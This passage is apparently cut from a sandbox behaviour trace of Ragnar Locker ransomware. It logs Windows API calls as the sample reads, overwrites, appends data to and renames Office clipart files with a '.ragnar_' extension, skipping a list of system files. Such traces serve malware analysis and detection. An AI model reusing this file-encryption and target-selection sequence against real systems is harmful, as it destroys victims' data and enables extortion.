lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25266) returned 1 [0089.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.667] GetProcessHeap () returned 0x580000 [0089.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.667] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.669] VirtualAlloc (lpAddress=0x0, dwSize=0x62b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.669] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.669] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x62b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x62b2, lpOverlapped=0x0) returned 1 [0089.670] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.670] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.670] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x62b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x62b2, lpOverlapped=0x0) returned 1 [0089.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.671] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.671] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.671] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.671] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.671] GetProcessHeap () returned 0x580000 [0089.671] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.671] CloseHandle (hObject=0xf4) returned 1 [0089.671] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" [0089.671] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.ragnar_FD7BD9FC" [0089.671] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.675] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0089.675] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.675] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02267_.WMF" | out: lpString1="PE02267_.WMF") returned="PE02267_.WMF" [0089.675] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF") returned=".WMF" [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="autorun.inf") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="boot.ini") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="bootfont.bin") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="bootsect.bak") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="bootmgr") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="bootmgr.efi") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="desktop.ini") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="iconcache.db") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="ntldr") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="ntuser.dat") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="ntuser.ini") returned 1 [0089.675] lstrcmpiW (lpString1="PE02267_.WMF", lpString2="thumbs.db") returned -1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.675] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf")) returned 0x20 [0089.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.676] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30944) returned 1 [0089.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.676] GetProcessHeap () returned 0x580000 [0089.676] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.676] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.678] VirtualAlloc (lpAddress=0x0, dwSize=0x78e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.679] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78e0, lpOverlapped=0x0) returned 1 [0089.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.680] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.680] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78e0, lpOverlapped=0x0) returned 1 [0089.680] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.680] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.681] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.681] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.681] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.681] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.681] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.681] GetProcessHeap () returned 0x580000 [0089.681] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.681] CloseHandle (hObject=0xf4) returned 1 [0089.681] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" [0089.681] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.ragnar_FD7BD9FC" [0089.681] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.682] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0089.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.682] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02270_.WMF" | out: lpString1="PE02270_.WMF") returned="PE02270_.WMF" [0089.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF") returned=".WMF" [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="autorun.inf") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="boot.ini") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="bootfont.bin") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="bootsect.bak") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="bootmgr") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="bootmgr.efi") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="desktop.ini") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="iconcache.db") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="ntldr") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="ntuser.dat") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.682] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="ntuser.ini") returned 1 [0089.683] lstrcmpiW (lpString1="PE02270_.WMF", lpString2="thumbs.db") returned -1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.683] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf")) returned 0x20 [0089.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.684] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28454) returned 1 [0089.684] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6f1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.684] GetProcessHeap () returned 0x580000 [0089.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.684] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.685] VirtualAlloc (lpAddress=0x0, dwSize=0x6f26, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.686] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6f26, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6f26, lpOverlapped=0x0) returned 1 [0089.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f26, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.687] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6f26, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6f26, lpOverlapped=0x0) returned 1 [0089.687] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.687] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6f26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.688] GetProcessHeap () returned 0x580000 [0089.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.688] CloseHandle (hObject=0xf4) returned 1 [0089.688] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" [0089.688] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.ragnar_FD7BD9FC" [0089.688] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0089.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.689] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02278_.WMF" | out: lpString1="PE02278_.WMF") returned="PE02278_.WMF" [0089.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF") returned=".WMF" [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="autorun.inf") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="boot.ini") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="bootfont.bin") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="bootsect.bak") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="bootmgr") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="bootmgr.efi") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="desktop.ini") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="iconcache.db") returned 1 [0089.689] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="ntldr") returned 1 [0089.690] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="ntuser.dat") returned 1 [0089.690] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.690] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="ntuser.ini") returned 1 [0089.690] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="thumbs.db") returned -1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.690] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf")) returned 0x20 [0089.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=47556) returned 1 [0089.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.691] GetProcessHeap () returned 0x580000 [0089.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.693] VirtualAlloc (lpAddress=0x0, dwSize=0xb9c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.693] SetFilePointerEx (in: hFile=0xf4, 